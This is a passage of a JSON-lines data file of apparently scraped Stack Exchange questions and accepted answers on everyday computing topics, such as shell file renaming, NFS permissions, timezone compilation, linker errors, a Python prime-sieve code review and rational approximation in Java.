{  "id": "_scicomp.25146"  , "question": "Consider the equations$$\\int_0^L \\mathbf W(\\mathbf u, s) \\, \\mathrm ds = \\mathbf 0$$where $0 \\leq s \\leq L$ and $\\mathbf u$ is a vector of constants. Numerically, what is the best way to determine $\\mathbf u$ that satisfy the equations? "  , "title": "Solve integral equation for unknown constant"  , "tags": "integral equations;constraints"  } 
{  "id": "_cs.16431"  , "question": "I have a table in which some values are repeated often as shown in the figure below. I want to encode that table such that it makes use of less memory. I have heard about run length encoding (RLE) but I would like to know if there are any other such encoding techniques or algorithms which can perform better than RLE or their performance is almost equivalent to RLE."  , "title": "Encoding algorithms better than or equivalent to Run Length Encoding"  , "tags": "algorithms;encoding scheme"  } 
{  "id": "_unix.259757"  , "question": "Suppose i have a folderwith a lot of file namessome very strange and nonsenseI want to rename it like File-1File-2File-3..I have tried this(echo is for tryng)for name in *; do echo mv $name File-`echo $(( RANDOM % (10 - 5 + 1 ) + 1 ))`;doneBut give me a  lot of duplicatesmv bio1 file-3mv memory23 file-1mv mernad file-3mv nio2 file-4mv nun3 file-4"  , "title": "Rename files randomly but without repetition"  , "tags": "scripting;rename;mv;random"  , "accepted_answer": "You could maybe use shuf (from the GNU coreutils package), which generates permutations rather than individual random samples - something likefor f in *; do read i; echo mv -- $f file-$i; done < <(shuf -i 1-10)or (perhaps better) shuffle the filenames - and then simply rename them sequentiallyi=1; shuf -z -e -- * | while IFS= read -rd '' f; do echo mv -- $f File-$((i++)); done"  } 
{  "id": "_datascience.19256"  , "question": "I am currently working with the famous titanic dataset from Kaggle. Now I want to explore the influence on different features on the chance of survival. I use the random fores classifier for an accuracy score output.I want to know whether people with sibling have a bigger chance of survival than people without. I could slice my dataset into one with siblings and one without.However these might probably not be comparable either because of the size or e.g. that people with sibblings are more often female. The comparison is distorted.How can I account for that and answer my question correctly."  , "title": "Explore Influence of features on titanic dataset"  , "tags": "machine learning;scikit learn"  } 
{  "id": "_unix.361145"  , "question": "I have 2 csv files whose contents are-expo1.csv:102,GREAT,adjective,ENG,p1_0,no,p2_1,no,p3,no,4,yes,p5_2,no,p6,yes....,su1,amb,su_09,no104,BHAAG,verb,HIN,p1,yes,p2,no,p3_7,amb,p4,no,p5,no,p6_9,yes....,sg4_3,yes,su119,amb110,.......,su11_0,ambandimpo1.csv:104,p1,no102,p2,yes104,p10,no110,su11,noBasically expo1.csv is a file on the server, and impo1.csv is a file I created to update expo1.csv. A script makes the changes in expo1.csv as specified in impo1.csv after performing slight processing in the impo1 data (eg. The line 102,p2,yes from impo1.csv is processed and then an update is made to expo1.csv - p2_1,yes.)expo1.csv after changes:102,GREAT,adjective,ENG,p1_0,no,p2_1,yes,p3,no,4,yes,p5_2,no,p6,yes....,su1,amb,su_09,no104,BHAAG,verb,HIN,p1,no,p2,no,p3_7,amb,p4,no,p5,no,p6_9,yes....,sg4_3,yes,su119,amb110,.........,su11_0,noNow after the script makes the changes, we need to validate if the changes are done properly by comparing the impo1 and expo1 files. This is where i'm stuck.So far I could isolate the data between the commas in impo1.csv separately into variables using awk:Sno=104 102 104Posw=p1 p2 p10cho=no yes noNow the question is, how do I check this? The impo1.csv files contains around 3000 updates. If I grep p1 expo1.csv|grep no expo1.csv, obviously it will not return the correct result as the file has many 'no' strings. I have tried using a for loop to separate the data using awk into separate variables and then grep using a wildcard - grep sno expo1.csv|grep '/<$posw.*,$cho>/' expo1.csv - but it doesn't work.Using GNU bash 4.1.2.EDIT - Should have mentioned this earlier, my bad - There are no clear patterns in the impo1.csv file which I can use to check the expo1 file. I have made corrections to the sample file contents which illustrate my point."  , "title": "Using awk/for/grep for comparing 2 files"  , "tags": "awk;grep;loop device"  , "accepted_answer": "The solution is rather simple. You just need to create a pattern from each line of impo1.csv and then grep it from expo1.csv after updatedvalidate() {    # $1 ~ impo1.csv    # $2 ~ expo1.csv after changes    while read pattern; do        grep -q ^$pattern $2 || return 1    done < <(sed s/,/,.*/ $1 )}"  } 
{  "id": "_cs.18310"  , "question": "Some guy on the internet recommends using the same ntp server when it is required to troubleshoot asymmetric routes through ICMP, and it's somewhat important to have synchronised time between the two machines doing ICMP.Granularity of timestamps in ICMP is 1ms (unique per 24h period), assume packet roundtrip between the source and destination of at least 100ms, each way of at least 50ms, plus jitter.I find the recommendation of using the same ntp server unreasonable; for one, because it would seem that the likelihood of any given reliable ntp server, anywhere in the world, carrying correct time is much higher than the likelihood of transmitting said time through the internet over longer distances (plus with potential jitter and packet loss), e.g. a good collection of local servers is already the best you could do for the task at stake.Basically, my conjecture is that, should a single ntp server be shared, it won't necessarily be a good server for both hosts doing ICMP, and would not contribute to the clock between the two (and only two) machines being the most synchronised, compared to a good collection of local servers instead.What's the mathematical take on this?"  , "title": "NTP: synchronisation of time between two machines for ICMP timestamping"  , "tags": "algorithm analysis;reference request;optimization;computer networks;synchronization"  } 
{  "id": "_unix.259892"  , "question": "I have a mount point for my nfs share:drwxrwxrwx   2 patryk patryk 4.0K Feb  4 16:23 nfs_shareafter I mount it I get$ sudo mount -t nfs 10.9.XXX.XXX:/root/src /home/patryk/nfs_share -o rw,user,vers=3 drwxr-xr-x   2 root   root   4.0K Feb  4 17:06 nfs_shareI tried with /etc/fstab but I get the same results:10.9.XXX.XXX:/root/src /home/patryk/nfs_share nfs rw,user,vers=3 0 0The funny thing is that I cannot chown this after mounting:$ sudo chown patryk:patryk nfs_sharechown: changing ownership of `nfs_share': Operation not permittedMy server is configured as follows:// 10.9.XXX.XXX$ cat /etc/exports/root/src/napet_src/ *(rw,nohide,insecure,no_subtree_check,async)How do I define those permissions so that I can write to this folder?"  , "title": "Why does my nfs mount always changes to be owned by root after mounting?"  , "tags": "linux;permissions;mount;nfs"  } 
{  "id": "_cstheory.38583"  , "question": "We know succinct version of many $P$-complete problems are $EXP$-complete. There are standard ways to define $EXP$-complete graph problems from succinct representations of these $P$ complete problems. What is the standard way to define $EXP$-complete problem from succinct representations of $P$ complete problems that do not come from graphs if there are any?For example what is the succinct version of the $P$-complete iterated mod problem $$\\mbox{given }a, b_1, b_2,\\dots, b_n\\in\\Bbb Z,\\mbox{ is }((\\dots((a \\bmod b_1) \\bmod b_2) \\dots) \\bmod b_n) = 0$$ and would that be $EXP$-complete and what is the succinct version of linear programming and would that be $EXP$-complete?Is there a higher version of $ETH$ (Exponential Time Hypothesis) that is applicable to the $EXP$ versus $NEXP$ problem for $NEXP$ complete problems that come from succinct version of $NP$ complete problems?"  , "title": "On succinct $EXP$ and $NEXP$ complete problems?"  , "tags": "cc.complexity theory;nexp;succinct"  , "accepted_answer": "The description of a succinct problem has very little to do with graphs, per se. Given a language $L \\subseteq \\Sigma^*$, we can define its succinct version as the set of Boolean circuits $C$ such that, if $C$ has $m$ inputs, then the string $s$ of length $2^m$ which is the concatenation of $C(0^m) C(0^{m-1} 1) C(0^{m-2} 10) \\dotsb C(1^m)$ is in $L$.You can make such a version, though I haven't seen it studied before. The smallest known upper bound on the deterministic time complexity of $\\mathsf{NEXP}$ is $\\mathsf{EEXP} = \\mathsf{DTIME}(2^{2^{n^{O(1)}}})$, so you could conjecture that a standard $\\mathsf{NEXP}$-complete problem is not in significantly sub-doubly-exponential time."  } 
{  "id": "_unix.62617"  , "question": "I have an iPod touch (2nd gen) and constant troubles with the clock setting itself one hour ahead of the actual time when I connect it to the computer. long story short, When I SSH into the device:date +%Z returns ARST which is correct (I'm in Buenos Aires, Argentina)date +%z the result is -0200, which is wrong and should be -0300My question is: How do I correct the offset of my timezone to the real value?I have found mentions of zic, zdump and references to a IANA Time Zone Database.I've tried to find allready compiled files in order to replace the whole zoneinfo folder, but the downloads I could find seem to use a different folder structure than the one on the iPod.edit: I am looking for a way to edit or update the timezone information, so that my timezone ARST is configured correctly. I have found several references to a compiler named zic, but need help in order to work out a solution.Both zic and zdump are present on the device, which leads me to believe it can be done via SSH and UNIX-commands."  , "title": "Wrong timezone offset. How do I correct it? (help with zic timezone compiler)"  , "tags": "timezone;ios"  , "accepted_answer": "OK, I have stumbled upon the solution.Here's the link where I got the info from: http://brickybox.com/2009/10/18/os-x-fix-argentina-dst-october-2009The tzdata source has changed its url. It is now to be found at: ftp://ftp.iana.org/tz/ or http://www.iana.org/time-zones for more information.I downloaded the updated tzdata-file: in this casetzdata2012j.tar.gz and extracted it to a temporary folder.Then I SSHed into the iPod and copied the extracted files to theiPod.   I chose User/Downloads and created a new (temporary) folder tzfix into which I copied everything.after that came the zic compile: zic southamerica, which took afew short secondsthen cp /usr/share/zoneinfo/America/Argentina/Buenos_Aires /usr/share/zoneinfo/America/Buenos_AiresI don't understand what this realy does. Copy, and overwrite, the file with itself?testing date +%z and date +%Z both return correct values, now: -0300 and ARTFinally! I can set the clock to the correct time without twitter refusing to login and Google authenticator throwing wrong auth codes."  } 
{  "id": "_unix.111223"  , "question": "I am trying to compile iproute2-3-12-0 on Fedora 19, I have BerkeleyDB installed, the command ls -la /usr/lib/libdb* gives following results:-rwxr-xr-x 1 root root 1847852 May 16  2013 /usr/lib/libdb-5.3.solrwxrwxrwx 1 root root      12 Sep 18 20:15 /usr/lib/libdb-5.so -> libdb-5.3.solrwxrwxrwx 1 root root      18 Jan  4 12:57 /usr/lib/libdbus-1.so.3 -> libdbus-1.so.3.7.4-rwxr-xr-x 1 root root  317720 Nov 11 19:24 /usr/lib/libdbus-1.so.3.7.4I have newest version of Bison and Flex. I use kernel: 3.12.8-200.fc19.x86_64.I have ldb in /usr/lib and /usr/lib64. I did not find any LDFLAGS in Makefile though.I get an error:ssfilter.y: conflicts: 27 shift/reduce/usr/bin/ld: cannot find -ldbcollect2: error: ld returned 1 exit statusmake[1]: *** [arpd] Error 1make: *** [all] Error 2A closer look at the end of make log reveals:        make[1]: Entering directory `/root/Traffic_Shaping/iproute2-3.12.0/bridge'gcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o bridge.o bridge.cgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o fdb.o fdb.cgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o monitor.o monitor.cgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o link.o link.cgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o mdb.o mdb.cgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o vlan.o vlan.cgcc   bridge.o fdb.o monitor.o link.o mdb.o vlan.o ../lib/libnetlink.a ../lib/libutil.a  ../lib/libnetlink.a ../lib/libutil.a -o bridgemake[1]: Leaving directory `/root/Traffic_Shaping/iproute2-3.12.0/bridge'make[1]: Entering directory `/root/Traffic_Shaping/iproute2-3.12.0/misc'gcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o ss.o ss.cbison ssfilter.y -o ssfilter.cssfilter.y: conflicts: 27 shift/reducegcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE   -c -o ssfilter.o ssfilter.cgcc   ss.o ssfilter.o  ../lib/libnetlink.a ../lib/libutil.a -o ssgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE  -o nstat nstat.c -lmgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE  -o ifstat ifstat.c ../lib/libnetlink.a ../lib/libutil.a -lmgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE  -o rtacct rtacct.c ../lib/libnetlink.a ../lib/libutil.a -lmgcc -Wall -Wstrict-prototypes  -Wmissing-prototypes -Wmissing-declarations -Wold-style-definition -O2 -I../include -DRESOLVE_HOSTNAMES -DLIBDIR=\\/usr/lib64\\ -DCONFDIR=\\/etc/iproute2\\ -D_GNU_SOURCE -I/usr/include/libdb4  -o arpd arpd.c ../lib/libnetlink.a ../lib/libutil.a -ldb -lpthread/usr/bin/ld: cannot find -ldbcollect2: error: ld returned 1 exit statusmake[1]: *** [arpd] Error 1make[1]: Leaving directory `/root/Traffic_Shaping/iproute2-3.12.0/misc'make: *** [all] Error 2How can I get ld to find libdb?"  , "title": "/usr/bin/ld: cannot find -ldb while compiling iproute2"  , "tags": "make"  , "accepted_answer": "As @bersh astutely points out in comments, you appear to be mixing libraries that have been compiled for different architectures (32-bit vs. 64-bit). On Fedora 32-bit libraries go in the /usr/lib, while 64-bit libraries go in /usr/lib64. You can convince yourself of this with a couple of examples.ExampleLet's pick on one of the share libraries for the DNS resolver, /usr/lib/libresolv-2.17.so. We can see that it's part of a 32-bit RPM.$ rpm -qf /usr/lib/libresolv-2.17.so glibc-2.17-20.fc19.i686You can also see that the library is a 32-bit ELF headered file.$ file /usr/lib/libresolv-2.17.so/usr/lib/libresolv-2.17.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0xeee8b9e6cb49f8dd64059cc158ce2c55f8c6df5b, for GNU/Linux 2.6.32, not strippedSo you need to take care when compiling your software to make sure that you have the appropriate libraries in place (32 & 64) as well as the corresponding header files. On Fedora (and all Red Hat based distros) the packages are named like so:32-bit - libdb-5.3.21-11.fc19.i68664-bit - libdb-5.3.21-11.fc19.x86_6432-bit header files - libdb-devel-5.3.21-11.fc19.i68664-bit header files - libdb-devel-5.3.21-11.fc19.x86_64Your library, libdbIf you notice the library file is available in both architectures. Given the output of your kernel package being x64, I would assume you meant to install the 64-bit versions of the libraries. Also since you're attempting to compile you'll want to install the header files for your architecture too.$ rpm -qf /usr/lib/libdb-5.3.solibdb-5.3.21-11.fc19.i686$ rpm -qf /usr/lib64/libdb-5.3.solibdb-5.3.21-11.fc19.x86_64How do I know what package to install?If you see your compiles are calling for files that you do not have then you can use repoquery to find out what package(s) provide various files like so:$ repoquery -f '*/libdb-5.3.so'libdb-0:5.3.21-11.fc19.x86_64libdb-0:5.3.21-11.fc19.i686"  } 
{  "id": "_codereview.51190"  , "question": "I am a Java developer who is taking Python for the first time.I'm sure this is not at all elegant since I am thinking more in C syntax.This module contains two implementations of the algorithm Sieve ofEratosthenes. # import ############################################################### import #import mathimport numpy# # fun1 ################################################################# fun1 #def SieveBasic(n):  This function runs the basic sieve of eratosthenis algorithm (non-optimized) and returns a list of prime numbers. The algorithm is implemented as described @: http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Example  l = list(range(2, n+1)) isPrime = [True] * (n-1) for m,n in enumerate(l):     currentCheck = n     for i,x in enumerate(l[m+1:]): #take each number and compare with later numbers       if x % currentCheck == 0:            isPrime[i+m+1] = False primes = [0,1] for i,x in enumerate(isPrime):     if x==True:         primes.append(2+i) return primes    This function generates a list of Js required for optimized sieve of eratosthenis algorithm. def generateJs(i,n):    j=i**2      if j<n:            yield j        while j+i<=n:        j+=i        yield jdef SieveOptimized(n):  This function runs the optimized sieve of eratosthenis algorithm  and returns a list of prime numbers. The algorithm is implemented as described @: http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Implementation  l = list(range(2, n+1)) isPrime = [True] * (n+1) maxChk = math.sqrt(n)  for q,r in enumerate(l):    if r>maxChk:        break    for z in generateJs(r,n):        isPrime[z] = False     return numpy.where(isPrime)[0] # how cool is this"  , "title": "Sieve of Eratosthenes - Standard and Optimized implementation"  , "tags": "python;primes;numpy;sieve of eratosthenes"  , "accepted_answer": "StyleYou code does not follow PEP 8, the usual Python coding convention. You'll find tools such as pep8 (or its online version), pylint, pyflakes or pychecker to check for this and other points that might make your code cleaner, more idiomatic or more correct.I can't be bothered to break the too long lines nor to fix typos in the comments but I did perform the other changes so make pep8 happy.The result is :This module contains two implementations of the algorithm Sieve ofEratosthenes.import mathimport numpydef SieveBasic(n):        This function runs the basic sieve of eratosthenis algorithm (non-optimized)    and returns a list of prime numbers. The algorithm is implemented as described @:    http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Example        l = list(range(2, n+1))    isPrime = [True] * (n-1)    for m, n in enumerate(l):        currentCheck = n        # take each number and compare with later numbers        for i, x in enumerate(l[m+1:]):            if x % currentCheck == 0:                isPrime[i+m+1] = False    primes = [0, 1]    for i, prime in enumerate(isPrime):        if prime:            primes.append(2+i)    return primesdef generateJs(i, n):        This function generates a list of Js required for optimized sieve of eratosthenis algorithm.        j = i**2    if j < n:        yield j    while j+i <= n:        j += i        yield jdef SieveOptimized(n):            This function runs the optimized sieve of eratosthenis algorithm        and returns a list of prime numbers. The algorithm is implemented as described @:        http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Implementation        l = list(range(2, n+1))    isPrime = [True] * (n+1)    maxChk = math.sqrt(n)    for q, r in enumerate(l):        if r > maxChk:            break        for z in generateJs(r, n):            isPrime[z] = False    return numpy.where(isPrime)[0]def main():    Main function    for n in range(1, 200):        s1 = SieveBasic(n)        s2 = SieveOptimized(n).tolist()        if s1 != s2:            print n, s1, s2if __name__ == __main__:    main()Also, the name of generateJs is not so great as it doesn't tell us much.CorrectnessWhen you write two functions to perform the same thing, it can be a good idea to check that you get the same result on a big set of inputs. Here's what I wrote :def main():    Main function    for n in range(1, 200):        s1 = SieveBasic(n)        s2 = SieveOptimized(n).tolist()        if s1 != s2:            print n, s1, s2This shows that the result is different when n is 4, 9, 25, 49, 121, 169. The optimised algorithm consider these values as prime even though they shouldn't (as they are perfect squares - of prime numbers which might have its importance when looking for the fix). Once this is fixed, you can use assert to ensure the results of the two functions are the same.In your case, the fix is simple : changing if j < n for if j <= n in generateJs :def generateJs(i, n):        This function generates a list of Js required for optimized sieve of eratosthenis algorithm.        j = i**2    if j <= n:        yield j    while j+i <= n:        j += i        yield 0 and 1 shouldn't be considered as primes. Again, fixing this is simple : initialising primes as being primes = [] in the basic function and setting isPrime[0] = isPrime[1] = False in the optimised function.Improving the code for the optimised versionIn generateJs, you can factorise code by writing :def generateJs(i, n):        This function generates a list of Js required for optimized sieve of eratosthenis algorithm.        j = i**2    while j <= n:        yield j        j += iInterestingly, this now looks a lot like range (or xrange depending on the version of Python you are using). We can get rid of it and write :Also, you don't need to use enumerate:def SieveOptimized(n):            This function runs the optimized sieve of eratosthenis algorithm        and returns a list of prime numbers. The algorithm is implemented as described @:        http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Implementation        l = list(range(2, n+1))    isPrime = [True] * (n+1)    isPrime[0] = isPrime[1] = False    maxChk = math.sqrt(n)    for r in l:        if r > maxChk:            break        for z in xrange(r*r, n+1, r):            isPrime[z] = False    return numpy.where(isPrime)[0]Now, if you think about it, the list l is not that useful. The point is just to perform a re-indexing : what we are really doing is that we loop starting as 2 and we stop at n (included). We can write this directly : for r in xrange(2, n+1):. The same kind of comment also applies to the basic version of the code.def SieveOptimized(n):            This function runs the optimized sieve of eratosthenis algorithm        and returns a list of prime numbers. The algorithm is implemented as described @:        http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Implementation        isPrime = [True] * (n+1)    isPrime[0] = isPrime[1] = False    maxChk = math.sqrt(n)    for r in xrange(2, n+1):        if r > maxChk:            break        for z in xrange(r*r, n+1, r):            isPrime[z] = False    return numpy.where(isPrime)[0]Because sqrt(n) + 1 <= n + 1 for any n >= 1, we can use maxChk in the call to range :def SieveOptimized(n):            This function runs the optimized sieve of eratosthenis algorithm        and returns a list of prime numbers. The algorithm is implemented as described @:        http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Implementation        isPrime = [True] * (n+1)    isPrime[0] = isPrime[1] = False    for r in xrange(2, int(math.sqrt(n))+1):        for z in xrange(r*r, n+1, r):            isPrime[z] = False    return numpy.where(isPrime)[0]Improving the code for the basic versionHere again, the list l is not that useful. The point is just to perform a re-indexing : what we are really doing is that we loop starting as 2 and we stop at n (included).You can put a few asserts in your code to double check that we don't really need the values from l as we can compute them.for m, n in enumerate(l):    assert m == n-2    assert n == m+2    currentCheck = m+2    # take each number and compare with later numbers    for i, x in enumerate(l[m+1:]):        assert x - m - i == 3        assert x == 3 + m + i        if x % currentCheck == 0:            isPrime[i+m+1] = FalseMessing a bit with indices, you get :def SieveBasic(n):        This function runs the basic sieve of eratosthenis algorithm (non-optimized)    and returns a list of prime numbers. The algorithm is implemented as described @:    http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes#Example        isPrime = [True] * (n-1)    for x in range(2, n+1):        # take each number and compare with later numbers        for j in range(x+1, n+1):            if j % x == 0:                isPrime[j - 2] = False    primes = []    for i, prime in enumerate(isPrime):        if prime:            primes.append(2+i)    return primesAnd the end of the function can be re-written with a list comprehension :return [2+i for i, prime in enumerate(isPrime) if prime]This code is still not optimal but because it corresponds to the basic version, I guess there is no need to try to make it too much better.Additional noteIn my code, I've been using range and xrange as I am used to switch between Python 2 and Python 3. Depending on the version you are using, I suggest you have a look online to see more details about this. Just keep in mind that you should try to avoid creating a list when an iterator is enough for you."  } 
{  "id": "_unix.372849"  , "question": "I'm running Manjaro and I'd like to add a line to my conky that shows how many updates are available for my system. This should ideally include updates to AUR packages as well.How can I do this?"  , "title": "Update information in conky"  , "tags": "manjaro;pacman;conky"  } 
{  "id": "_unix.287532"  , "question": "I am running a low-end server with about 1GB RAM and I was trying to optimize my ram. But after increasing my swap file and emptying the buffers, my total ram, judging from free -m, have lowered from 1 GB to 660 MB - and I cannot run my applications anymore.Repro steps:I have used the commands echo 1 > /proc/sys/vm/drop_cachesecho 2 > /proc/sys/vm/drop_cachesecho 3 > /proc/sys/vm/drop_cachesThen, I have tried swapoff -a and swapon -aAnd then I increased my swap file, as described here:https://www.linux.com/learn/increase-your-available-swap-space-swap-fileI have no idea what lowered my total memory. Could anyone help, please? Thanks in advance!I am running Centos."  , "title": "Total memory decreased when increasing swap file?"  , "tags": "linux;centos;memory"  } 
{  "id": "_softwareengineering.350328"  , "question": "I have read plenty of questions on here, which appear to confuse the MVP/MVC Model with the Domain Model.  In my mind the MVP Model calls the Service, which then calls a rich Domain Model i.e. the MVC/MVP model is a view model..I have seen a lot of code, which does this (this is the MVC Model):public class Model : IModel    {        private IService service;        public PersonModel GetPerson(int id)        {            PersonDTO personDTO = service.GetPerson(int id);            PersonModel personModel = Mapper.Map<PersonModel>(personDTO);            return personModel;        }    }The model calls the service and the service calls a rich domain model i.e. a domain model where the classes contain both state and behaviour.Notice in the above code that there is a class called Model (which contains behaviour and calls the service) and a class called PersonModel.  Should there be one class called PersonModel, which contains both state and behaviour if a rich Domain Model is by the business layer/domain layer? I am talking about best practice here.  I know both approaches work."  , "title": "Should an MVP/MVC Model contain behaviour?"  , "tags": "c#;design patterns;domain driven design;asp.net mvc;mvp"  } 
{  "id": "_cstheory.496"  , "question": "Are there any NP-complete problems for which an algorithm is known that the expected running time is polynomial (for some sensible distribution over the instances)?If not, are there problems for which the existence of such an algorithm has been established?Or does the existence of such an algorithm imply the existence of a deterministic polynomial time algorithm?"  , "title": "Are there NP-complete problems with polynomial expected time solutions?"  , "tags": "cc.complexity theory;np hardness"  , "accepted_answer": "Basically, Max 2-CSP on $n$ variables and $n$ randomly chosen constraints can be solved in expected linear time (see the reference below for the exact formulation of the result). Note that Max 2-CSP remains NP-hard when the number of clauses equals the number of variables as it is NP-hard if the constraint graph of the instance has maximum degree at most 3 and you can add some dummy variables to decrease the average degree to 2.Reference:Alexander D. Scott and Gregory B. Sorkin. Solving sparse random instances of Max Cut and Max 2-CSP in linear expected time. Comb. Probab. Comput., 15(1-2):281-315, 2006. Preprint"  } 
{  "id": "_unix.285659"  , "question": "I am having small initramfs with static busybox into it. The sole purpose of this initramfs is to download/upload files to the HTTPS server.I have the proper certificate and credentials to do so. But when I execute the command:curl --cacert /tmp/filename.pem -T /tmp/file_to_upload -u user:pass https://Server_name/I greeted with an error:curl: (60) SSL certificate problem: unable to get local issuer certificateIf I use the same command with same certificate onto Ubuntu, then everything goes smooth.How am I suppose to resolve this issue ?EDIT: I do not want to use -k or --insecure switchNOTE: I do not have openssl or /etc/ssl directory into initramfs"  , "title": "SSL Certificate Problem: unable to get local issuer certificate"  , "tags": "linux;curl;certificates"  } 
{  "id": "_webapps.106357"  , "question": "Not the same as this... if only life were so simple.I'm talking about the find box... i.e. say you want to search among your emails.  Whenever I start typing in this box it goes crazy with predictive suggestions.  And this seems to be a more aggressive type of predictive text than normal: it often adds characters on to the end of my text, in the middle of typing, and generally needs turning off for the sake of my sanity."  , "title": "Turn off predictive text in Gmail search box"  , "tags": "gmail"  } 
{  "id": "_unix.385326"  , "question": "I'm on a fresh install of Mint 18.2, and I'm adding a bunch of multimedia tools. I would like to have LMMS use VST files, as well; but this requires Wine as (curiously) VSTs are all portable executables.I'm not a big fan of Wine, I have Windows for that; but so be it. However, before installing it, I see that it requires the removal of systemd. I don't know why this is, and honestly I'm not a huge fan of systemd either; but it serves a pretty critical role. I'm not ready to ditch it just yet.It's probably safe; this is through the Software Manager. However it seems appropriate to at least do a little digging first.Does anyone know why Wine insists on removing systemd? Is it replaced with one of these other packages? Am I safe in doing this?"  , "title": "Why does Wine insist on removing systemd?"  , "tags": "linux mint;systemd;wine;uninstall"  , "accepted_answer": "Interesting results... seems it doesn't actually need to remove systemd after all. Not according to apt-get & apt, and not according to Synaptic. I got Wine on here with a number of other dependencies, and compiled LMMS's most recent release (everything, including VST, now working beautifully).I think my question just got boiled down to Why does Software Manager insanely suggest that I remove systemd? Which is kind of a different question, and makes this problem resolved.I'm honestly wondering if this is even a bug of some kind."  } 
{  "id": "_webapps.51212"  , "question": "In Google Docs, you can click on the menu items and then choose an action. For example, you can click on the Format menu item, then click Align > Left to align text left. Is there a way to see what code runs when you do that?"  , "title": "In Google Docs, is it possible to view the code that runs when you click on an action?"  , "tags": "google documents"  , "accepted_answer": "Load the page in ChromeChoose Tools->Developer Tools to bring up the developer pane. (This is a whole tutorial in itself, but I will tell you how to do the specific thing you want).Right click on the body element in the Elements tab and choose Break -> on subtree modification.  This is just a guess, but its a good place to start. I'm guessing Google will modify the DOM when you click things.  Now when you move the mouse around, your breakpoint might fire prematurely for what you are looking at. Just hit F8 to continue.Hit the {} button at the bottom when it breaks to make the google optimized javascript code pretty print or display in a more readable form.Now, basically, its up to you to figure out what you want to do and where you want to go.  You need to familiarize yourself with developer tools to really have the full power you need to do what you want probably, but that's a whole book."  } 
{  "id": "_codereview.48577"  , "question": "I use the following code to find the lowest denominator Rational that is within a certain delta from a double.The rationale is that the I am pulling float numbers from a database and in many cases summing them. All of the numbers are calculated using simple maths such as +, -, * and /. No transcendental numbers are involved, nor is there any trigonometry.  In most cases finding the nearest Rational to the float gets what the original figure is supposed to be rather than the results of adding mashed-up numbers together.// Create a good rational for the value within the delta supplied.public static Rational valueOf(double dbl, double delta) {  // Primary checks.  if (delta <= 0.0) {    throw new IllegalArgumentException(Delta must be > 0.0);  }  // Remove the sign and integral part.  long integral = (long) Math.floor(dbl);  dbl -= integral;  // The value we are looking for.  final Rational d = new Rational((long) ((dbl) / delta), (long) (1 / delta));  // Min value = d - delta.  final Rational min = new Rational((long) ((dbl - delta) / delta), (long) (1 / delta));  // Max value = d + delta.  final Rational max = new Rational((long) ((dbl + delta) / delta), (long) (1 / delta));  // Start the fairey sequence.  Rational l = ZERO;  Rational h = ONE;  Rational found = null;  // Keep slicing until we arrive within the delta range.  do {    // Either between min and max -> found it.    if (found == null && min.compareTo(l) <= 0 && max.compareTo(l) >= 0) {      found = l;    }    if (found == null && min.compareTo(h) <= 0 && max.compareTo(h) >= 0) {      found = h;    }    if (found == null) {      // Make the mediant.      Rational m = mediant(l, h);      // Replace either l or h with mediant.      if (m.compareTo(d) < 0) {        l = m;      } else {        h = m;      }    }  } while (found == null);  // Bring back the sign and the integral.  if (integral != 0) {    found = found.plus(new Rational(integral, 1));  }  // That's me.  return found;}In a recent test using 0.000001 as my delta this code took 75% of the CPU. Dropping it to 0.0001 reduced that dramatically but it is still a 